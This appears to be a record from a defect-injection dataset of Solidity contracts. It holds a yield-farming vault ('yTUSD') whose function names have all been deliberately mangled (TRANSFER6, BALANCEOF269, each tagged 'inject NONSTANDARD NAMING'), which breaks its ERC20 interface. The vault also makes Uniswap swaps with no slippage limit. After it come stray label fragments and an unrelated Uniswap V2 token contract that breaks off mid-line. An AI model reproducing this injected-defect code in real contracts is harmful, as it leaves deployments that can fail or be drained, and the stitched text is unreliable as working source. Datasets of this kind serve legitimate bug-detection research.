pragma solidity 0.5.17; pragma experimental ABIEncoderV2; interface IUniswap { // To convert DAI to ETH function SWAPEXACTTOKENSFORETH436(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); //inject NONSTANDARD NAMING // To convert ETH to YELD and burn it function SWAPEXACTETHFORTOKENS487(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); //inject NONSTANDARD NAMING } interface IERC20 { function TOTALSUPPLY323() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF269(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER6(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE471(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE639(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM45(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER853(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL183(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _MSGSENDER264() internal view returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA366() internal view returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address payable private _owner; event OWNERSHIPTRANSFERRED175(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { _owner = _MSGSENDER264(); emit OWNERSHIPTRANSFERRED175(address(0), _owner); } function OWNER564() public view returns (address payable) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER780() { //inject NONSTANDARD NAMING require(ISOWNER198(), "Ownable: caller is not the owner"); _; } function ISOWNER198() public view returns (bool) { //inject NONSTANDARD NAMING return _MSGSENDER264() == _owner; } function RENOUNCEOWNERSHIP104() public ONLYOWNER780 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED175(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP788(address payable newOwner) public ONLYOWNER780 { //inject NONSTANDARD NAMING _TRANSFEROWNERSHIP70(newOwner); } function _TRANSFEROWNERSHIP70(address payable newOwner) internal { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED175(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 _totalSupply; function TOTALSUPPLY323() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF269(address account) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER6(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER918(_MSGSENDER264(), recipient, amount); return true; } function ALLOWANCE471(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE639(address spender, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE444(_MSGSENDER264(), spender, amount); return true; } function TRANSFERFROM45(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER918(sender, recipient, amount); _APPROVE444(sender, _MSGSENDER264(), _allowances[sender][_MSGSENDER264()].SUB46(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE61(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE444(_MSGSENDER264(), spender, _allowances[_MSGSENDER264()][spender].ADD992(addedValue)); return true; } function DECREASEALLOWANCE74(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE444(_MSGSENDER264(), spender, _allowances[_MSGSENDER264()][spender].SUB46(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER918(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].SUB46(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD992(amount); emit TRANSFER853(sender, recipient, amount); } function _MINT980(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.ADD992(amount); _balances[account] = _balances[account].ADD992(amount); emit TRANSFER853(address(0), account, amount); } function _BURN375(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].SUB46(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB46(amount); emit TRANSFER853(account, address(0), amount); } function _APPROVE444(address owner, address spender, uint256 amount) internal { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL183(owner, spender, amount); } function _BURNFROM405(address account, uint256 amount) internal { //inject NONSTANDARD NAMING _BURN375(account, amount); _APPROVE444(account, _MSGSENDER264(), _allowances[account][_MSGSENDER264()].SUB46(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function NAME61() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL851() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS917() public view returns (uint8) { //inject NONSTANDARD NAMING return _decimals; } } contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier NONREENTRANT890() { //inject NONSTANDARD NAMING _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } library SafeMath { function ADD992(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB46(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB46(a, b, "SafeMath: subtraction overflow"); } function SUB46(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL613(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV312(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV312(a, b, "SafeMath: division by zero"); } function DIV312(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function MOD928(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD928(a, b, "SafeMath: modulo by zero"); } function MOD928(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT42(address account) internal view returns (bool) { //inject NONSTANDARD NAMING bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function TOPAYABLE515(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(account)); } function SENDVALUE559(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER60(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN106(token, abi.encodeWithSelector(token.TRANSFER6.selector, to, value)); } function SAFETRANSFERFROM510(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN106(token, abi.encodeWithSelector(token.TRANSFERFROM45.selector, from, to, value)); } function SAFEAPPROVE585(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING require((value == 0) || (token.ALLOWANCE471(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); CALLOPTIONALRETURN106(token, abi.encodeWithSelector(token.APPROVE639.selector, spender, value)); } function SAFEINCREASEALLOWANCE437(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE471(address(this), spender).ADD992(value); CALLOPTIONALRETURN106(token, abi.encodeWithSelector(token.APPROVE639.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE12(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE471(address(this), spender).SUB46(value, "SafeERC20: decreased allowance below zero"); CALLOPTIONALRETURN106(token, abi.encodeWithSelector(token.APPROVE639.selector, spender, newAllowance)); } function CALLOPTIONALRETURN106(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING require(address(token).ISCONTRACT42(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Compound { function MINT570 ( uint256 mintAmount ) external returns ( uint256 ); //inject NONSTANDARD NAMING function REDEEM919(uint256 redeemTokens) external returns (uint256); //inject NONSTANDARD NAMING function EXCHANGERATESTORED297() external view returns (uint); //inject NONSTANDARD NAMING } interface Fulcrum { function MINT570(address receiver, uint256 amount) external payable returns (uint256 mintAmount); //inject NONSTANDARD NAMING function BURN957(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid); //inject NONSTANDARD NAMING function ASSETBALANCEOF748(address _owner) external view returns (uint256 balance); //inject NONSTANDARD NAMING } interface ILendingPoolAddressesProvider { function GETLENDINGPOOL795() external view returns (address); //inject NONSTANDARD NAMING } interface Aave { function DEPOSIT261(address _reserve, uint256 _amount, uint16 _referralCode) external; //inject NONSTANDARD NAMING } interface AToken { function REDEEM919(uint256 amount) external; //inject NONSTANDARD NAMING } interface IIEarnManager { function RECOMMEND876(address _token) external view returns ( //inject NONSTANDARD NAMING string memory choice, uint256 capr, uint256 iapr, uint256 aapr, uint256 dapr ); } contract Structs { struct Val { uint256 value; } enum ActionType { Deposit, // supply tokens Withdraw // borrow tokens } enum AssetDenomination { Wei // the amount is denominated in wei } enum AssetReference { Delta // the amount is given as a delta from the current value } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct ActionArgs { ActionType actionType; uint256 accountId; AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } struct Wei { bool sign; // true if positive uint256 value; } } contract DyDx is Structs { function GETACCOUNTWEI173(Info memory account, uint256 marketId) public view returns (Wei memory); //inject NONSTANDARD NAMING function OPERATE410(Info[] memory, ActionArgs[] memory) public; //inject NONSTANDARD NAMING } interface LendingPoolAddressesProvider { function GETLENDINGPOOL795() external view returns (address); //inject NONSTANDARD NAMING function GETLENDINGPOOLCORE176() external view returns (address); //inject NONSTANDARD NAMING } contract yTUSD is ERC20, ERC20Detailed, ReentrancyGuard, Structs, Ownable { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; uint256 public pool; address public token; address public compound; address public fulcrum; address public aave; address public aavePool; address public aaveToken; address public dydx; uint256 public dToken; address public apr; address public chai; // Add other tokens if implemented for another stablecoin address public uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public tusd = 0x0000000000085d4780B73119b644AE5ecd22b376; address public weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public retirementYeldTreasury; IERC20 public yeldToken; uint256 public maximumTokensToBurn = 50000 * 1e18; // When you stake say 1000 TUSD for a day that will be your maximum // if you stake the next time 300 TUSD your maximum will stay the same // if you stake 2000 at once it will increase to 2000 TUSD mapping(bytes32 => uint256) public numberOfParticipants; mapping(address => uint256) public depositBlockStarts; uint256 public constant onedayinblocks32 = 6500; //inject NONSTANDARD NAMING uint256 public yeldToRewardPerDay = 100e18; // 100 YELD per day per 1 million stablecoins padded with 18 zeroes to have that flexibility uint256 public constant onemillion240 = 1e6; //inject NONSTANDARD NAMING enum Lender { NONE, DYDX, COMPOUND, AAVE, FULCRUM } Lender public provider = Lender.NONE; constructor (address _yeldToken, address payable _retirementYeldTreasury) public payable ERC20Detailed("yearn TUSD", "yTUSD", 18) { token = address(0x0000000000085d4780B73119b644AE5ecd22b376); apr = address(0xdD6d648C991f7d47454354f4Ef326b04025a48A8); dydx = address(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e); aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); aavePool = address(0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3); fulcrum = address(0x493C57C4763932315A328269E1ADaD09653B9081); aaveToken = address(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d); compound = address(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); chai = address(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215); dToken = 3; yeldToken = IERC20(_yeldToken); retirementYeldTreasury = _retirementYeldTreasury; APPROVETOKEN94(); } // To receive ETH after converting it from TUSD function () external payable {} function SETRETIREMENTYELDTREASURY648(address payable _treasury) public ONLYOWNER780 { //inject NONSTANDARD NAMING retirementYeldTreasury = _treasury; } // In case a new uniswap router version is released function SETUNISWAPROUTER36(address _uniswapRouter) public ONLYOWNER780 { //inject NONSTANDARD NAMING uniswapRouter = _uniswapRouter; } function EXTRACTTOKENSIFSTUCK789(address _token, uint256 _amount) public ONLYOWNER780 { //inject NONSTANDARD NAMING IERC20(_token).TRANSFER6(msg.sender, _amount); } function EXTRACTETHIFSTUCK584() public ONLYOWNER780 { //inject NONSTANDARD NAMING OWNER564().transfer(address(this).balance); } function CHANGEYELDTOREWARDPERDAY778(uint256 _amount) public ONLYOWNER780 { //inject NONSTANDARD NAMING yeldToRewardPerDay = _amount; } function GETGENERATEDYELDS438() public view returns(uint256) { //inject NONSTANDARD NAMING uint256 blocksPassed; if (depositBlockStarts[msg.sender] > 0) { blocksPassed = block.number.SUB46(depositBlockStarts[msg.sender]); } else { blocksPassed = 0; } // This will work because amount is a token with 18 decimals // Take the deposit, reduce it by 1 million (by removing 6 zeroes) so you get 1 // That 1 means get 1 YELD per day (in blocks). Now multiply that 1 by 100 to get 100 YELD per day // your deposits in dai div by 1 million * by yeld to reward / 1e18 since yeldToReward is in 18 decimals to be able to provide a smaller price since // we can't go below 1 in a variable. You can't make the price 0.00001 that's why we need that 1e18 padding // For USDC and Tether gotta multiply by 1e12 since they have 6 decimals to get the proper result of YELD uint256 ibalance = BALANCEOF269(msg.sender); // Balance of yTokens uint256 accomulatedStablecoins = (CALCPOOLVALUEINTOKEN983().MUL613(ibalance)).DIV312(_totalSupply); uint256 generatedYelds = accomulatedStablecoins.DIV312(onemillion240).MUL613(yeldToRewardPerDay.DIV312(1e18)).MUL613(blocksPassed).DIV312(onedayinblocks32); return generatedYelds; } function EXTRACTYELDEARNINGSWHILEKEEPINGDEPOSIT225() public { //inject NONSTANDARD NAMING uint256 ibalance = BALANCEOF269(msg.sender); uint256 accomulatedStablecoins = (CALCPOOLVALUEINTOKEN983().MUL613(ibalance)).DIV312(_totalSupply); require(depositBlockStarts[msg.sender] > 0 && accomulatedStablecoins > 0, 'Must have deposited stablecoins beforehand'); uint256 generatedYelds = GETGENERATEDYELDS438(); depositBlockStarts[msg.sender] = block.number; yeldToken.TRANSFER6(msg.sender, generatedYelds); } function DEPOSIT261(uint256 _amount) //inject NONSTANDARD NAMING external NONREENTRANT890 { require(_amount > 0, "deposit must be greater than 0"); pool = CALCPOOLVALUEINTOKEN983(); IERC20(token).SAFETRANSFERFROM510(msg.sender, address(this), _amount); // Yeld if (GETGENERATEDYELDS438() > 0) EXTRACTYELDEARNINGSWHILEKEEPINGDEPOSIT225(); depositBlockStarts[msg.sender] = block.number; // Yeld // Calculate pool shares uint256 shares = 0; if (pool == 0) { shares = _amount; pool = _amount; } else { shares = (_amount.MUL613(_totalSupply)).DIV312(pool); } pool = CALCPOOLVALUEINTOKEN983(); _MINT980(msg.sender, shares); REBALANCE90(); } // Converts TUSD to ETH and returns how much ETH has been received from Uniswap function TUSDTOETH442(uint256 _amount) internal returns(uint256) { //inject NONSTANDARD NAMING IERC20(tusd).SAFEAPPROVE585(uniswapRouter, 0); IERC20(tusd).SAFEAPPROVE585(uniswapRouter, _amount); address[] memory path = new address[](2); path[0] = tusd; path[1] = weth; // swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) // 'amounts' is an array where [0] is input TUSD amount and [1] is the resulting ETH after the conversion // even tho we've specified the WETH address, we'll receive ETH since that's how it works on uniswap // https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensforeth uint[] memory amounts = IUniswap(uniswapRouter).SWAPEXACTTOKENSFORETH436(_amount, uint(0), path, address(this), now.ADD992(1800)); return amounts[1]; } // Buys YELD tokens paying in ETH on Uniswap and removes them from circulation // Returns how many YELD tokens have been burned function BUYNBURN597(uint256 _ethToSwap) internal returns(uint256) { //inject NONSTANDARD NAMING address[] memory path = new address[](2); path[0] = weth; path[1] = address(yeldToken); // Burns the tokens by taking them out of circulation, sending them to the 0x0 address uint[] memory amounts = IUniswap(uniswapRouter).SWAPEXACTETHFORTOKENS487.value(_ethToSwap)(uint(0), path, address(0), now.ADD992(1800)); return amounts[1]; } // No rebalance implementation for lower fees and faster swaps function WITHDRAW331(uint256 _shares) //inject NONSTANDARD NAMING external NONREENTRANT890 { require(_shares > 0, "withdraw must be greater than 0"); uint256 ibalance = BALANCEOF269(msg.sender); require(_shares <= ibalance, "insufficient balance"); pool = CALCPOOLVALUEINTOKEN983(); uint256 stablecoinsToWithdraw = (pool.MUL613(_shares)).DIV312(_totalSupply); _balances[msg.sender] = _balances[msg.sender].SUB46(_shares, "redeem amount exceeds balance"); _totalSupply = _totalSupply.SUB46(_shares); emit TRANSFER853(msg.sender, address(0), _shares); uint256 b = IERC20(token).BALANCEOF269(address(this)); if (b < stablecoinsToWithdraw) { _WITHDRAWSOME967(stablecoinsToWithdraw.SUB46(b)); } // Yeld uint256 generatedYelds = GETGENERATEDYELDS438(); // Take 1% of the amount to withdraw uint256 onePercent = stablecoinsToWithdraw.DIV312(100); depositBlockStarts[msg.sender] = block.number; yeldToken.TRANSFER6(msg.sender, generatedYelds); // Take a portion of the profits for the buy and burn and retirement yeld // Convert half the TUSD earned into ETH for the protocol algorithms uint256 stakingProfits = TUSDTOETH442(onePercent); uint256 tokensAlreadyBurned = yeldToken.BALANCEOF269(address(0)); if (tokensAlreadyBurned < maximumTokensToBurn) { // 98% is the 49% doubled since we already took the 50% uint256 ethToSwap = stakingProfits.MUL613(98).DIV312(100); // Buy and burn only applies up to 50k tokens burned BUYNBURN597(ethToSwap); // 1% for the Retirement Yield uint256 retirementYeld = stakingProfits.MUL613(2).DIV312(100); // Send to the treasury retirementYeldTreasury.transfer(retirementYeld); } else { // If we've reached the maximum burn point, send half the profits to the treasury to reward holders uint256 retirementYeld = stakingProfits; // Send to the treasury retirementYeldTreasury.transfer(retirementYeld); } IERC20(token).SAFETRANSFER60(msg.sender, stablecoinsToWithdraw.SUB46(onePercent)); // Yeld pool = CALCPOOLVALUEINTOKEN983(); REBALANCE90(); } function RECOMMEND876() public view returns (Lender) { //inject NONSTANDARD NAMING (,uint256 capr,uint256 iapr,uint256 aapr,uint256 dapr) = IIEarnManager(apr).RECOMMEND876(token); uint256 max = 0; if (capr > max) { max = capr; } if (iapr > max) { max = iapr; } if (aapr > max) { max = aapr; } if (dapr > max) { max = dapr; } Lender newProvider = Lender.NONE; if (max == capr) { newProvider = Lender.COMPOUND; } else if (max == iapr) { newProvider = Lender.FULCRUM; } else if (max == aapr) { newProvider = Lender.AAVE; } else if (max == dapr) { newProvider = Lender.DYDX; } return newProvider; } function GETAAVE657() public view returns (address) { //inject NONSTANDARD NAMING return LendingPoolAddressesProvider(aave).GETLENDINGPOOL795(); } function GETAAVECORE248() public view returns (address) { //inject NONSTANDARD NAMING return LendingPoolAddressesProvider(aave).GETLENDINGPOOLCORE176(); } function APPROVETOKEN94() public { //inject NONSTANDARD NAMING IERC20(token).SAFEAPPROVE585(compound, uint(-1)); IERC20(token).SAFEAPPROVE585(dydx, uint(-1)); IERC20(token).SAFEAPPROVE585(GETAAVECORE248(), uint(-1)); IERC20(token).SAFEAPPROVE585(fulcrum, uint(-1)); } function BALANCE782() public view returns (uint256) { //inject NONSTANDARD NAMING return IERC20(token).BALANCEOF269(address(this)); } function BALANCEDYDXAVAILABLE330() public view returns (uint256) { //inject NONSTANDARD NAMING return IERC20(token).BALANCEOF269(dydx); } function BALANCEDYDX86() public view returns (uint256) { //inject NONSTANDARD NAMING Wei memory bal = DyDx(dydx).GETACCOUNTWEI173(Info(address(this), 0), dToken); return bal.value; } function BALANCECOMPOUND355() public view returns (uint256) { //inject NONSTANDARD NAMING return IERC20(compound).BALANCEOF269(address(this)); } function BALANCECOMPOUNDINTOKEN294() public view returns (uint256) { //inject NONSTANDARD NAMING // Mantisa 1e18 to decimals uint256 b = BALANCECOMPOUND355(); if (b > 0) { b = b.MUL613(Compound(compound).EXCHANGERATESTORED297()).DIV312(1e18); } return b; } function BALANCEFULCRUMAVAILABLE395() public view returns (uint256) { //inject NONSTANDARD NAMING return IERC20(chai).BALANCEOF269(fulcrum); } function BALANCEFULCRUMINTOKEN503() public view returns (uint256) { //inject NONSTANDARD NAMING uint256 b = BALANCEFULCRUM271(); if (b > 0) { b = Fulcrum(fulcrum).ASSETBALANCEOF748(address(this)); } return b; } function BALANCEFULCRUM271() public view returns (uint256) { //inject NONSTANDARD NAMING return IERC20(fulcrum).BALANCEOF269(address(this)); } function BALANCEAAVEAVAILABLE892() public view returns (uint256) { //inject NONSTANDARD NAMING return IERC20(token).BALANCEOF269(aavePool); } function BALANCEAAVE873() public view returns (uint256) { //inject NONSTANDARD NAMING return IERC20(aaveToken).BALANCEOF269(address(this)); } function REBALANCE90() public { //inject NONSTANDARD NAMING Lender newProvider = RECOMMEND876(); if (newProvider != provider) { _WITHDRAWALL499(); } if (BALANCE782() > 0) { if (newProvider == Lender.DYDX) { _SUPPLYDYDX870(BALANCE782()); } else if (newProvider == Lender.FULCRUM) { _SUPPLYFULCRUM37(BALANCE782()); } else if (newProvider == Lender.COMPOUND) { _SUPPLYCOMPOUND942(BALANCE782()); } else if (newProvider == Lender.AAVE) { _SUPPLYAAVE258(BALANCE782()); } } provider = newProvider; } function _WITHDRAWALL499() internal { //inject NONSTANDARD NAMING uint256 amount = BALANCECOMPOUND355(); if (amount > 0) { _WITHDRAWSOMECOMPOUND259(BALANCECOMPOUNDINTOKEN294().SUB46(1)); } amount = BALANCEDYDX86(); if (amount > 0) { if (amount > BALANCEDYDXAVAILABLE330()) { amount = BALANCEDYDXAVAILABLE330(); } _WITHDRAWDYDX942(amount); } amount = BALANCEFULCRUM271(); if (amount > 0) { if (amount > BALANCEFULCRUMAVAILABLE395().SUB46(1)) { amount = BALANCEFULCRUMAVAILABLE395().SUB46(1); } _WITHDRAWSOMEFULCRUM209(amount); } amount = BALANCEAAVE873(); if (amount > 0) { if (amount > BALANCEAAVEAVAILABLE892()) { amount = BALANCEAAVEAVAILABLE892(); } _WITHDRAWAAVE427(amount); } } function _WITHDRAWSOMECOMPOUND259(uint256 _amount) internal { //inject NONSTANDARD NAMING uint256 b = BALANCECOMPOUND355(); uint256 bT = BALANCECOMPOUNDINTOKEN294(); require(bT >= _amount, "insufficient funds"); // can have unintentional rounding errors uint256 amount = (b.MUL613(_amount)).DIV312(bT).ADD992(1); _WITHDRAWCOMPOUND330(amount); } function _WITHDRAWSOMEFULCRUM209(uint256 _amount) internal { //inject NONSTANDARD NAMING uint256 b = BALANCEFULCRUM271(); uint256 bT = BALANCEFULCRUMINTOKEN503(); require(bT >= _amount, "insufficient funds"); // can have unintentional rounding errors uint256 amount = (b.MUL613(_amount)).DIV312(bT).ADD992(1); _WITHDRAWFULCRUM371(amount); } function _WITHDRAWSOME967(uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING uint256 origAmount = _amount; uint256 amount = BALANCECOMPOUND355(); if (amount > 0) { if (_amount > BALANCECOMPOUNDINTOKEN294().SUB46(1)) { _WITHDRAWSOMECOMPOUND259(BALANCECOMPOUNDINTOKEN294().SUB46(1)); _amount = origAmount.SUB46(IERC20(token).BALANCEOF269(address(this))); } else { _WITHDRAWSOMECOMPOUND259(_amount); return true; } } amount = BALANCEDYDX86(); if (amount > 0) { if (_amount > BALANCEDYDXAVAILABLE330()) { _WITHDRAWDYDX942(BALANCEDYDXAVAILABLE330()); _amount = origAmount.SUB46(IERC20(token).BALANCEOF269(address(this))); } else { _WITHDRAWDYDX942(_amount); return true; } } amount = BALANCEFULCRUM271(); if (amount > 0) { if (_amount > BALANCEFULCRUMAVAILABLE395().SUB46(1)) { amount = BALANCEFULCRUMAVAILABLE395().SUB46(1); _WITHDRAWSOMEFULCRUM209(BALANCEFULCRUMAVAILABLE395().SUB46(1)); _amount = origAmount.SUB46(IERC20(token).BALANCEOF269(address(this))); } else { _WITHDRAWSOMEFULCRUM209(amount); return true; } } amount = BALANCEAAVE873(); if (amount > 0) { if (_amount > BALANCEAAVEAVAILABLE892()) { _WITHDRAWAAVE427(BALANCEAAVEAVAILABLE892()); _amount = origAmount.SUB46(IERC20(token).BALANCEOF269(address(this))); } else { _WITHDRAWAAVE427(_amount); return true; } } return true; } function _SUPPLYDYDX870(uint256 amount) internal { //inject NONSTANDARD NAMING Info[] memory infos = new Info[](1); infos[0] = Info(address(this), 0); AssetAmount memory amt = AssetAmount(true, AssetDenomination.Wei, AssetReference.Delta, amount); ActionArgs memory act; act.actionType = ActionType.Deposit; act.accountId = 0; act.amount = amt; act.primaryMarketId = dToken; act.otherAddress = address(this); ActionArgs[] memory args = new ActionArgs[](1); args[0] = act; DyDx(dydx).OPERATE410(infos, args); } function _SUPPLYAAVE258(uint amount) internal { //inject NONSTANDARD NAMING Aave(GETAAVE657()).DEPOSIT261(token, amount, 0); } function _SUPPLYFULCRUM37(uint amount) internal { //inject NONSTANDARD NAMING require(Fulcrum(fulcrum).MINT570(address(this), amount) > 0, "FULCRUM: supply failed"); } function _SUPPLYCOMPOUND942(uint amount) internal { //inject NONSTANDARD NAMING require(Compound(compound).MINT570(amount) == 0, "COMPOUND: supply failed"); } function _WITHDRAWAAVE427(uint amount) internal { //inject NONSTANDARD NAMING AToken(aaveToken).REDEEM919(amount); } function _WITHDRAWFULCRUM371(uint amount) internal { //inject NONSTANDARD NAMING require(Fulcrum(fulcrum).BURN957(address(this), amount) > 0, "FULCRUM: withdraw failed"); } function _WITHDRAWCOMPOUND330(uint amount) internal { //inject NONSTANDARD NAMING require(Compound(compound).REDEEM919(amount) == 0, "COMPOUND: withdraw failed"); } function _WITHDRAWDYDX942(uint256 amount) internal { //inject NONSTANDARD NAMING Info[] memory infos = new Info[](1); infos[0] = Info(address(this), 0); AssetAmount memory amt = AssetAmount(false, AssetDenomination.Wei, AssetReference.Delta, amount); ActionArgs memory act; act.actionType = ActionType.Withdraw; act.accountId = 0; act.amount = amt; act.primaryMarketId = dToken; act.otherAddress = address(this); ActionArgs[] memory args = new ActionArgs[](1); args[0] = act; DyDx(dydx).OPERATE410(infos, args); } function CALCPOOLVALUEINTOKEN983() public view returns (uint) { //inject NONSTANDARD NAMING return BALANCECOMPOUNDINTOKEN294() .ADD992(BALANCEFULCRUMINTOKEN503()) .ADD992(BALANCEDYDX86()) .ADD992(BALANCEAAVE873()) .ADD992(BALANCE782()); } function GETPRICEPERFULLSHARE370() public view returns (uint) { //inject NONSTANDARD NAMING uint _pool = CALCPOOLVALUEINTOKEN983(); return _pool.MUL613(1e18).DIV312(_totalSupply); } }
inject NONSTANDARD NAMING
function MUL613(uint256 a, uint256 b) internal pure returns (uint256) {
977,125
// SPDX-License-Identifier: MIT pragma solidity >=0.6.6; import '../libraries/SafeMath.sol'; contract UniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, 